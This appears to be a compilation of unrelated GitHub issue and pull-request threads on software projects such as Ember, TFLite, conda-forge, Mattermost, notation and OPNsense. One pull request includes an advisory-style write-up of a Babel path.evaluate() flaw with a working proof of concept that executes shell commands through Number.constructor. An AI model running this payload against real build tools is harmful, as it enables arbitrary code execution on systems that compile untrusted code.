  const filePaths = findFiles(`${src}/**/styles.{css,scss}`, {
    ignoreList: [`${src}/components/**`],
    projectRoot,
  });

  return filePaths.map((oldFilePath) => {
    const newFilePath = renamePodPath(oldFilePath, {
      entityDir: src,
      replace: (key: string) => {
        return `app/styles/${key}`;
      },
    });

    return [oldFilePath, newFilePath];
  });
}

@ijlee2 That will work cleanly for all the Ember types except component. In those cases the proposed --pod flag ends up after 'components'.
join('app', podPath, 'components', pod, '**', 'component.{d.ts,js,ts}')

based on:
% ember g component my-foo --pod
installing component
  create app/components/my-foo/template.hbs
  skip app/components/my-foo/component.js
  tip to add a class, run `ember generate component-class my-foo`
installing component-test
  create tests/integration/components/my-foo/component-test.js

The ignoreList improvement can be done, that will at least address the podPath issue.
I'm not sure the other refactor would have helped me much. The way the code currently is, with the join clauses as their atomic parts, was easier for me to modify than the ones that hard-concatenated the remaining path structure ('foo/bar/file.{js,ts}')

Here's my branch where I'm adding --pod flag on top of this codemod v3.1.0, as needed for my project. In case anyone else wants to reference it for their own needs.
https://github.com/ijlee2/ember-codemod-pod-to-octane/compare/3.1.0...apellerano-pw:ember-codemod-pod-to-octane:pod-flag-for-incremental-migration?expand=1


fix typo

阿里巴 -> 阿里巴巴

 Thank you for your submission, we really appreciate it. Like many open source projects, we ask that you sign our Contributor License Agreement before we can accept your contribution.You have signed the CLA already but the status is still pending? Let us recheck it.

感谢。


Integrate llvm-project and bump dependencies 20230403

llvm-project: a52054cfa29d665c43141c66c20a7b8f7a96b546
mlir-mhlo: 024b0fdcd358604a1b38fa0534c271f344a6249d
tensorflow: 3fb52f183ff77b71e8de558b03ec92aa3011d447

Oh oh, the regressed dispatch sizes on riscv look problematic. They might be hiding something

I thought the dispatch total sizes regression was from the other integrate, and it hasn't been propagated to regression analysis yet.. I was wrong. (basically it the average value is computed on a window for the few past commits). It seems that it does regress the total dispatch sizes.. The last sample is quite large.

I'll wait for internal performance report. There are a few things in flux on the RISC-V backend side so I wouldn't spend cycles on investigating this further right now

I'm thinking of cutting an (unstable) release from this commit since it's got no cherry-picks. Should I hold off on that due to the RISC-V issues? Sounds like not from @dcaballe's comment above


update the UI of password generator project

Related Issue :    i have to change the UI of password-Generator projects
write issue no. here : #223
Email id used to regsiter for VSoc'24
Email id<EMAIL_ADDRESS>Description
i have to change the UI of password-generator project. and add more features like Copy button , password-strength,, password-length, etc.
Type of PR

[x ] Bug fix
[x ] Feature enhancement
[ x] Documentation update
[ ] Security enhancement
[ ] Other (specify): _______________

check in issue by entering [X] in boxes
Screenshots / Videos (if applicable)
https://github.com/dhairyagothi/50_days_50_web_project/assets/130534171/d44a33bd-25cd-4f87-8a31-d8df32c7e055
[Attach any relevant screenshots or videos demonstrating the changes]
Checklist

[ x] I have performed a self-review of my code.
[ x] I have read and followed the Contribution Guidelines.
[ x] I have tested the changes thoroughly before submitting this pull request.
[ x] I have provided relevant issue numbers, screenshots, and videos after making the changes.
[x ] I have commented my code, particularly in hard-to-understand areas.
[x ] I have followed the code style guidelines of this project.
[x ] I have checked for any existing open issues that my pull request may address.
[x ] I have ensured that my changes do not break any existing functionality.
[ x] Each contributor is allowed to create a maximum of 4 issues per day. This helps us manage and address issues efficiently.
[x ] I have read the resources for guidance listed below.
[ x] I have followed security best practices in my code changes.

check in issue by entering [X] in boxes
Additional Context
[Include any additional information or context that might be helpful for reviewers.]
Contribution Guidelines
Thank you for considering contributing to our project! To ensure smooth collaboration and effective contribution management, please adhere to the following guidelines:
Issue Creation

Limit on Issues:

Each contributor is allowed to create a maximum of 4 issues per day. This helps us manage and address issues efficiently.

Contribution Levels

Basic Contributions:

This project is primarily focused on documentation. Most of the setup has been completed, so contributors will generally need to work on basic code tasks, such as writing tests.
For these tasks, issues will be assigned the Easy label.

Acknowledging Hard Work:

If a contributor puts in significant effort on a task, the issue will be upgraded to Medium. This is our way of recognizing and appreciating extra effort.

Feature Additions and Component Work:

Contributors working on new features or components using JSX/TSX will be assigned a level based on the complexity and quality of their work.
The more complex and valuable the contribution, the higher the level assigned.

Level Definitions

Easy:

Tasks are straightforward, such as fixing minor bugs, writing tests, or making simple documentation updates.

Medium:

Tasks require more effort, such as addressing complex bugs, improving existing features, or making substantial documentation improvements.

Hard:

Tasks are highly complex and involve significant new feature development, major refactoring, or extensive contributions to the project’s core components.

We look forward to your contributions and appreciate your effort in helping us improve the project!

Bhai pls check this PR#239


tflite QuantizationDebugger seem haven't support tf.lite.OpsSet.EXPERIMENTAL_TFLITE_BUILTINS_ACTIVATIONS_INT16_WEIGHTS_INT8

tflite QuantizationDebugger seem haven't support tf.lite.OpsSet.EXPERIMENTAL_TFLITE_BUILTINS_ACTIVATIONS_INT16_WEIGHTS_INT8
I try directly use the mlir_quantize(inference_type=dypes.int16), but it will directly convert full quantized model.

Hi @Jwy-Leo !
Could you provide a minimal stand alone code as gist to replicate this issue.
Thank you!

Hi @mohantym ,
minimal stand alone code
`
import tensorflow as tf
import tensorflow_addons as tfa
from tensorflow.lite.python import convert as _tf_convert
from tensorflow.lite.toco import types_pb2 as _types_pb2
def representative_data_gen():
for i in range(10):
yield [tf.random.normal((1, 640, 480, 3), dtype=tf.float32)]
def main():
_input = x = tf.keras.layers.Input((640, 480, 3), dtype=tf.float32)
x = tf.keras.layers.Conv2D(64, kernel_size=3)(x)
output = tfa.layers.GELU(False, name='gelu')(x)
tf_model = tf.keras.Model(inputs=[_input], outputs=[output])
converter = tf.lite.TFLiteConverter.from_keras_model(tf_model)
converter.optimizations = [tf.lite.Optimize.DEFAULT]
converter.target_spec.supported_ops = [ tf.lite.OpsSet.EXPERIMENTAL_TFLITE_BUILTINS_ACTIVATIONS_INT16_WEIGHTS_INT8 ]
converter.representative_dataset = representative_data_gen
int16_model = converter.convert()

converter = tf.lite.TFLiteConverter.from_keras_model(tf_model)
converter.optimizations = [tf.lite.Optimize.DEFAULT]
converter._experimental_calibrate_only = True
converter.representative_dataset = representative_data_gen
calibrate_model = converter.convert()

# _types_pb2.QUANTIZED_INT16
quantized_model = _tf_convert.mlir_quantize(calibrate_model, inference_type=_types_pb2.QUANTIZED_INT16, denylisted_ops=['Gelu'])

expect_quantized_model = _tf_convert.mlir_quantize(calibrate_model, denylisted_ops=['Gelu'])

with open("int16_model.tflite", 'wb') as F:
    F.write(int16_model)

with open("calibrate_model.tflite", 'wb') as F:
    F.write(calibrate_model)

with open("quantized_model.tflite", 'wb') as F:
    F.write(quantized_model)

with open("expect_quantized_model.tflite", 'wb') as F:
    F.write(expect_quantized_model)

if name == "main":
main()
`
I expected the graph will become and the inference type = tf.int16, thus the output node will become int16 datatype.

But after the conversion, it will become int8 quantize inspect model

Hi @sachinprasadhs !
Could you please look at this issue . Attached gist in 2.8,, 2.9 and nightly for reference.
Thank you!

@Jwy-Leo , Could you please use the QuantizationDebugger to know if there is any node skipping the quantization which is leading to the unexpected behavior. For more details check https://www.tensorflow.org/lite/performance/quantization_debugger#selective_quantization


Update meta.yaml

@conda-forge-admin please rerender

Checklist

[ ] Used a personal fork of the feedstock to propose changes
[ ] Bumped the build number (if the version is unchanged)
[ ] Reset the build number to 0 (if the version changed)
[ ] Re-rendered with the latest conda-smithy (Use the phrase @conda-forge-admin, please rerender in a comment in this PR for automated rerendering)
[ ] Ensured the license file is being packaged.

Hi! This is the friendly automated conda-forge-webservice.
It appears you are making a pull request from a branch in your feedstock and not a fork. This procedure will generate a separate build for each push to the branch and is thus not allowed. See our documentation for more details.
Please close this pull request and remake it from a fork of this feedstock.
Have a great day!

Hi! This is the friendly automated conda-forge-linting service.
I wanted to let you know that I linted all conda-recipes in your PR (recipe) and found some lint.
Here's what I've got...
For recipe:

requirements: build: python>=3.8 must contain a space between the name and the pin, i.e. python >=3.8
requirements: host: python>=3.8 must contain a space between the name and the pin, i.e. python >=3.8


Adding overloaded methods to specify component url

Review status: 0 of 3 files reviewed, 1 unresolved discussion, all commit checks successful.

lib/com/vaadin/components/gwt/polymer/client/Polymer.java, line 32 [r1] (raw file):
Do we really need this method? We can call ensureHTMLImport(src) directly.

Comments from the review on Reviewable.io

Review status: 0 of 3 files reviewed, 2 unresolved discussions, all commit checks successful.

lib/com/vaadin/components/gwt/polymer/client/Polymer.java, line 59 [r1] (raw file):
I think, here should be ensureHTMLImport(src) instead

Comments from the review on Reviewable.io

Review status: 0 of 3 files reviewed, 2 unresolved discussions, all commit checks successful.

lib/com/vaadin/components/gwt/polymer/client/Polymer.java, line 32 [r1] (raw file):
Well, this is here because I'm working in code to test whether the tag actually has been registered, and proceed with the import, so we need both tag and src for that.

lib/com/vaadin/components/gwt/polymer/client/Polymer.java, line 59 [r1] (raw file):
Good catch

Comments from the review on Reviewable.io


MM-T338 Image Attachment Upload in Mobile View, MM-T345 Public links of common file types should open in a new tab

Summary
This PR adds end to end tests to codebase which tries to verify if image attachments in mobile view are correctly rendered pre and post sending of message.
It also adds an test to check if public links of common file types opens in a new tab with their oreviews
Ticket Link
MM-T338
MM-T345
Related Pull Requests
none
Screenshots
none

@M-ZubairAhmed Let us know status of this PR, thanks!

Hi @prapti , thank you for your review

I have a contrary opinion on that, since all of them belongs to some form of upload, i have placed them in the same file. They both also share the same downloadAttachmentAndVerifyItsProperties function.
Here are the steps with respect to code line numbers

Account Settings ➜ Display ➜ Image Previews ➜ Expanded : https://github.com/mattermost/mattermost-webapp/pull/6321/files#diff-c9a96f255e269faf4adce4e32b2b0bb7R358
Make a post with an attachment of any of the following types jpeg, png, bmp, .tiff, gif, avi, mpeg, mp4, mpeg, or wav: https://github.com/mattermost/mattermost-webapp/pull/6321/files#diff-c9a96f255e269faf4adce4e32b2b0bb7R377
Click on the image preview : https://github.com/mattermost/mattermost-webapp/pull/6321/files#diff-c9a96f255e269faf4adce4e32b2b0bb7R384
Click on "Get public link" : https://github.com/mattermost/mattermost-webapp/pull/6321/files#diff-c9a96f255e269faf4adce4e32b2b0bb7R392
Click on "Copy link", then on "Close" : https://github.com/mattermost/mattermost-webapp/pull/6321/files#diff-c9a96f255e269faf4adce4e32b2b0bb7R402 & https://github.com/mattermost/mattermost-webapp/pull/6321/files#diff-c9a96f255e269faf4adce4e32b2b0bb7R409
Paste the link into the message input box and hit "Enter" to make the post : https://github.com/mattermost/mattermost-webapp/pull/6321/files#diff-c9a96f255e269faf4adce4e32b2b0bb7R415
Click on the link: https://github.com/mattermost/mattermost-webapp/pull/6321/files#diff-c9a96f255e269faf4adce4e32b2b0bb7R418

Hello Zubair, let us know once ready for review.  Thanks!

@saturninoabril i made the changes, i ran them individually. Can you please run them collectively?


Install on Windows procedure

It's not written that the manual renaming, extracting and installation through commands is not mandatory. Simply double clicking the installer works perfect.
[Enter feedback here]

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 7f3d7cc0-ecf8-a48f-3c6e-8e18c7787c41
Version Independent ID: 31b358bd-1ee6-a058-8590-802941350e90
Content: Migrate machines as physical server to Azure with Azure Migrate. - Azure Migrate
Content Source: articles/migrate/tutorial-migrate-physical-virtual-machines.md
Service: azure-migrate
GitHub Login: @rahulg1190
Microsoft Alias: rahugup

@badsector-82 - Thanks again for bringing this to our attention. We have updated the Doc and it will be live once its merged.  We will now proceed to close this thread. If there are further questions regarding this matter, please tag me in your reply. We will gladly continue the discussion and we will reopen the issue.


[5.8] Add validation before logger dynamic method call

Add method_exists validation (& tests) on Logger's dynamic method call.
Reason: Safer code

Thanks for your pull request to Laravel!
Unfortunately, I'm going to delay merging this code for now. To preserve our ability to adequately maintain the framework, we need to be very careful regarding the amount of code we include.
If possible, please consider releasing your code as a package so that the community can still take advantage of your contributions!
If you feel absolutely certain that this code corrects a bug in the framework, please "@" mention me in a follow-up comment with further explanation so that GitHub will send me a notification of your response.


Per-method timeout configuration

This change permits API producers to configure default timeouts for all methods on a per-method basis. Previously, this was only possible for retrying methods.
Since this PR does not break any current codegen, we can update languages individually. Python GAPIC is updated here to demonstrate the impact; a corresponding change to Python GAX will be submitted alongside this one.
cc: @jmuk
Fixes #127

Why it's not a field of retry_params?

It is specifically for calls that are not retrying, so I don't think it makes sense to group it with the retry settings.

ah, I see 😄

LGTM, once the conflict is resolved.

LGTM


Weird with bower install

It not big deal, but maybe could make it better.
As usually, install front-end stuff by bower  didn't not need `sudo.
but this one still having trouble even use sudo --allow-root.
maybe it's some way to install it, but looks bit weird.
Additional error details:
Since bower is a user command, there is no need to execute it with superuser permissions.
If you're having permission errors when using bower without sudo, please spend a few minutes learning more about how your system should work and make any necessary repairs.

http://www.joyent.com/blog/installing-node-and-npm
https://gist.github.com/isaacs/579814

You can however run a command with sudo using --allow-root option
Redys-MBP:bolt redy$ bower install to-markdown
bower not-cached    git://github.com/domchristie/to-markdown.git#*
bower resolve       git://github.com/domchristie/to-markdown.git#*
bower ECMDERR       Failed to execute "git ls-remote --tags --heads git://github.com/domchristie/to-markdown.git", exit code of #69   Agreeing to the Xcode/iOS license requires admin privileges, please re-run as root via sudo.

Additional error details:
Agreeing to the Xcode/iOS license requires admin privileges, please re-run as root via sudo.
Redys-MBP:bolt redy$ sudo bower install to-markdown
bower ESUDO         Cannot be run with sudo

Redys-MBP:bolt redy$ bower install to-markdown --save
bower not-cached    git://github.com/domchristie/to-markdown.git#*
bower resolve       git://github.com/domchristie/to-markdown.git#*
bower ECMDERR       Failed to execute "git ls-remote --tags --heads git://github.com/domchristie/to-markdown.git", exit code of #69   Agreeing to the Xcode/iOS license requires admin privileges, please re-run as root via sudo.

Additional error details:
Agreeing to the Xcode/iOS license requires admin privileges, please re-run as root via sudo.

Installation with bower works fine for me. You may want to run:
sudo xcodebuild -license

(as recommended here: https://github.com/jlong/sass-bootstrap-defunct/issues/129#issuecomment-34601797)

Thank you very much.


Fix Saturation calculations

Fix a bug when computing saturation coefficients for Synchronous Machines.

The fails in PSID are expected since we need to update the tests to account for the change in definitions.


refactor: use oras-credentials-go

Resolves: #600
Resolves: #637

Codecov Report

Merging #654 (ebaf16a) into main (2e56dd4) will decrease coverage by 3.22%.
The diff coverage is 0.00%.

:mega: This organization is not using Codecov’s GitHub App Integration. We recommend you install it so Codecov can continue to function properly for your repositories. Learn more
@@            Coverage Diff             @@
##             main     #654      +/-   ##
==========================================
- Coverage   33.16%   29.95%   -3.22%
==========================================
  Files          32       29       -3
  Lines        2014     1886     -128
==========================================
- Hits          668      565     -103
+ Misses       1324     1303      -21
+ Partials       22       18       -4

Impacted Files
Coverage Δ

cmd/notation/login.go
29.03% <0.00%> (-0.24%)
:arrow_down:

cmd/notation/logout.go
50.00% <0.00%> (+5.88%)
:arrow_up:

cmd/notation/registry.go
14.83% <0.00%> (+0.55%)
:arrow_up:

:mega: We’re building smart automated test selection to slash your CI/CD build times. Learn more

Behaviors of this PR
notation login

If there is a credentials store configured in the notation config file

Save the credential into the configured credentials store

If no credentials store is configured, or the notation config file does not exist

Use the platform-default credentials store, and set it back to the notation config file
If the platform-default credentials store is not installed, throw an error

notation logout

If there is a credentials store configured in the notation config file

Remove the credential of the registry

If no credentials store is configured, or the notation config file does not exist

No operation

Other notation operations that require authentication
Look for the credential in following order:

notation config file

Configured credentials store
Platform-default credentials store
Plaintext credentials

Docker config file

Configured credentials store
Platform-default credentials store
Plaintext credentials

Login error example:

There are suppressed E2E tests for notation login, any thought to enable cases without using cred store?
https://github.com/notaryproject/notation/blob/5516199cd2d83349468682379c1e1f4ccd24414a/test/e2e/suite/command/login.go#L15

oras-credentials-go is basically a similar implementation of https://github.com/docker/cli/tree/master/cli/config/configfile
oras-credentials-go does not have any crypto component in it and it just does CRUD and thus security review is not required.

Hi @priteshbandi , the design discussion for the oras-credentials-go library can be found here.
As @shizhMSFT has mentioned, the library is just to cover CRUD of credentials and does not handle any encryption/decryption.

I'm working on the conflicts.

Behaviors of this PR
notation login

If the provided credential is invalid or the connection to registry fails, throw an error

If there is a credentials store configured in the notation config file

Save the credential into the configured credentials store

If no credentials store is configured, or the notation config file does not exist

Use the platform-default credentials store, and set it back to the notation config file

If the platform-default credentials store is not installed

If the provided credential is identical with the existing credential, print:

If the provided credential is different with the saved one, throw an error

notation logout

If there is a credentials store configured in the notation config file

Remove the credential of the registry

If no credentials store is configured, or the notation config file does not exist

No operation

Other notation operations that require authentication
Look for the credentials in following order:

notation config file

Configured credential helpers
Configured credentials store
Platform-default credentials store
Plaintext credentials

Docker config file

Configured credential helpers
Configured credentials store
Platform-default credentials store
Plaintext credentials

@Wwwsylvia I'm still trying to understand this process. So, under which circumstances does Notation login/logout perform write operation (if there is any) on the Docker config file?

I'm still trying to understand this process. So, under what circumstances does Notation login/logout perform write operations (if any) on the Docker config file?

notation will never write to the Docker config file.
If no credentials store is configured, or the notation config file does not exist, notation will use the platform-default credentials store, and set the "credsStore" field back to the notation config file.


Create manifest metadata type

This should hold information which the manifestation identity creation algorithm can use to generate an identity.
This is basically everything we know, not a specific list of things.

This would be attached to the manifest type, publicly available (but read only).

This should also be attached (read only) to the runnable rule instance.

This should be a class which is backed by an IDictionary<string, object>. Each item of metadata is stored in a key.
A 'constants type' can be used to enumerate the keys for well-known bits of metadata. Additionally, helper methods on the type can get the values in a type manner (generic methods).
The constructor will take the dictionary as a parameter but after that point the type would be immutable.
This way, it's extensible even when we don't know how it will be extended.


refactor: pass in passwordMinLength to invalidPasswordError instead of whole config

Yup, this is probably more a personal preference than anything performance related - didn't want to pass in anything more than needed. Am going to merge for now, but open to reverting/changing in future


Fix vulnerable to arbitrary code execution when compiling specifically crafted malicious code

Summary Description :
The Project of newrelic/opensource-website has vulnerable to Incomplete List of Disallowed Inputs when using plugins that rely on the path.evaluate() or path.evaluateTruthy() internal Babel methods.
The Exploit (Proof of Concept)
Before delving into the details, let’s take a look at the proof of concept I came up with:
const parser = require("@babel/parser");
const traverse = require("@babel/traverse").default;

const source = `String({  toString: Number.constructor("console.log(process.mainModule.require('child_process').execSync('id').toString())")});`

const ast = parser.parse(source);

const evalVisitor = {
  Expression(path) {
    path.evaluate();
  },
};

traverse(ast, evalVisitor);

Exploit Breakdown
To understand why this vulnerability works, we need to understand the source code of the culprit function, evaluate. The source code of babel-traverse/src/path/evaluation.ts prior to the fix is archived here
/**
 * Walk the input `node` and statically evaluate it.
 *
 * Returns an object in the form `{ confident, value, deopt }`. `confident`
 * indicates whether or not we had to drop out of evaluating the expression
 * because of hitting an unknown node that we couldn't confidently find the
 * value of, in which case `deopt` is the path of said node.
 *
 * Example:
 *
 *   t.evaluate(parse("5 + 5")) // { confident: true, value: 10 }
 *   t.evaluate(parse("!true")) // { confident: true, value: false }
 *   t.evaluate(parse("foo + foo")) // { confident: false, value: undefined, deopt: NodePath }
 *
 */

export function evaluate(this: NodePath): {
  confident: boolean;
  value: any;
  deopt?: NodePath;
} {
  const state: State = {
    confident: true,
    deoptPath: null,
    seen: new Map(),
  };
  let value = evaluateCached(this, state);
  if (!state.confident) value = undefined;

  return {
    confident: state.confident,
    deopt: state.deoptPath,
    value: value,
  };
}

When evaluate is called on a NodePath, it goes through the evaluatedCached wrapper, before reaching the _evaluate function which does all the heavy lifting. The _evaluate function is where the vulnerability lies.
This function is responsible for recursively breaking down AST nodes until it reaches an atomic operation that can be evaluated confidently. The majority of the base cases are evaluated for atomic operations only (such as for binary expressions between two literals). However, there are a few exceptions to this rule.
The two pieces of the source code we care about are the handling of call expressions and object expressions, as shown below
Vulnerable Source Code
The first thing to understand is that while call expressions can indeed be evaluated, they are subject to a whitelist check, relying on the VALID_OBJECT_CALLEES or VALID_IDENTIFIER_CALLEES arrays.
The most interesting one is the second case:
if (
  object.isIdentifier() &&
  property.isIdentifier() &&
  isValidObjectCallee(object.node.name) &&
  !isInvalidMethod(property.node.name)
) {
  context = global[object.node.name];
  // @ts-expect-error property may not exist in context object
  func = context[property.node.name];
}

/** snip **/
if (func) {
  const args = path.get("arguments").map((arg) => evaluateCached(arg, state));
  if (!state.confident) return;

  return func.apply(context, args);
}

The only blacklisted method is random, which is a method of the Math object. This means that any other method of either the whitelisted Number, String, or Math objects can be directly referenced. In JavaScript, all classes are functions. Since Number and String are global JavaScript classes, their constructor property points to the Function constructor.
Therefore, the two expressions below are equivalent:
Number.constructor('newrelic;');
Function('opensource-website;');

Impact
CWE-184
CWE-697
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Changes proposed in this pull request:

Fix or Patched vulnerable code executions
Added new version feature's

Thanks for submitting a pull request to newrelic/opensource-website.
If possible, please help the maintainers by leveraging the following conventional commit standards in your pull request title and commit messages.
Use chore

for changes / additions / corrections to content in the src/data/project-main-content, src/data/projects directories
for changes / additions / corrections to images in the static/images directory
for functional changes / additions to code in the examples directory

Example
git add src/data/projects/newrelic-nr1-github.json
git add src/data/project-main-content/newrelic-nr1-github.mdx
git commit -m "chore(nr1-github): adjusting config and content"
git push

Use fix

for functional corrections to code in the src/components, src/templates, src/fragments, src/pages or directories
for corrections in the src/data/oss-category or src/data/project-tags directories
for functional corrections to code in the examples directory

Example
git add src/pages/code-of-conduct.mdx
git commit -m "fix: typo and prop error in the code of conduct"
git push

Use feat

for functional changes / additions to code in the src/components, src/templates, src/fragments, src/pages or directories
for changes / additions in the src/data/oss-category or src/data/project-tags directories

Example
git add src/pages/video.js
git commit -m "feat(media): creating a video landing page"
git push

hey @wica-sufatmawati! thanks for your contribution! a couple things:

can you update your commit message to follow conventional commit standards?
i'm curious, did you edit the yarn.lock file manually or did you run a yarn command to upgrade these dependencies?


set background with centered image

i want to set main container background with image that shown in center of slider, not using background color. every time user change image (scrolled), background change and show that image behind the image as background and blur it, how could i do that?

i want to change that grey background behind images, with active image that is in front of images.
i don't want to show grey background instead of that show active image and change background with changing active image.

Hey @Eesssn , I'm not quite sure what you're looking to do. Would you mind clarifying your issue?

                           /\

can u help for that  ||

Aw, I think I understand what you're saying. I can see about integrating that as a future feature

Hey, first of all - thank you.
Is it now possible to change the background color?

Hey, first of all - thank you.
Is it now possible to change the background color?


Saving states

Give the user the possibility to save the parameter states for a given instance/population. These should then appear as saved states in the usual gh place.

Now incorporated with the Biomorpher Solution parameter


Transition to 2018 Edition

Try out the 2018 Edition, hopefully remove some NLL pains.

Closing for now. The cargo-fix transition works, for now just wait until 2018 Edition is released


Drawer mask not visible thru scrolling

When the drawer is pulled out, the scrolling is still enabled. The mask only covers the part of the page that was visible before scrolling.

Is that horizontal scrolling?

Is that horizontal scrolling?

No, vertical

Any source code about the situation？

I'm sorry I erased it since yesterday and created my own drawer.
It happened when I had some page content outside of the "content" div.

@hjl19911127 thanks for this repo. A fix for this issue would be great


[18.7.b_65] SSH login stopped working after upgrade

Took me a few hours to figure out why, looks like the shell for all users except root was set to /sbin/nologin.

hmm, the culprit seems to be here https://github.com/opnsense/core/blob/master/src/etc/inc/auth.inc#L458 which used a csh when priv was set previously https://github.com/opnsense/core/blob/18.1.7/src/etc/inc/auth.inc#L464
@fichtner intended? or a slip of the pen?

If it is intended, a mention in the release notes would be nice.
So people who hit the same problem of SSH not working after upgrade know what to change.

Alright, here is the rub-in:

SSH access is now bound to the "wheel" group which is automatically added to "admins" group, which "root" is a member of. "root" is the only user that has a default shell, namely rc.initial which is the root console menu.
SSH access can be set for an arbitrary group as well under System: Administration for non-members of "admins" group. However, in both cases only SCP works due to a request in the forum to be more proactive regarding yielding of shell access rights. If you want a user to gain real SSH access you need to change their shell from "nologin" to an installed shell in their respective settings.

That's it. It's a compound change from several requests: user-selectable shells, allowing bash and zsh and so on to persist, allowing SCP without a login shell.

Just for clarification, I meant a mention in the release notes once released.

Of course. Will be in both the release and migration notes for 18.7. I've put it in writing here so it can be reused / referenced already. Thanks for the reminder. It may indeed be useful for others.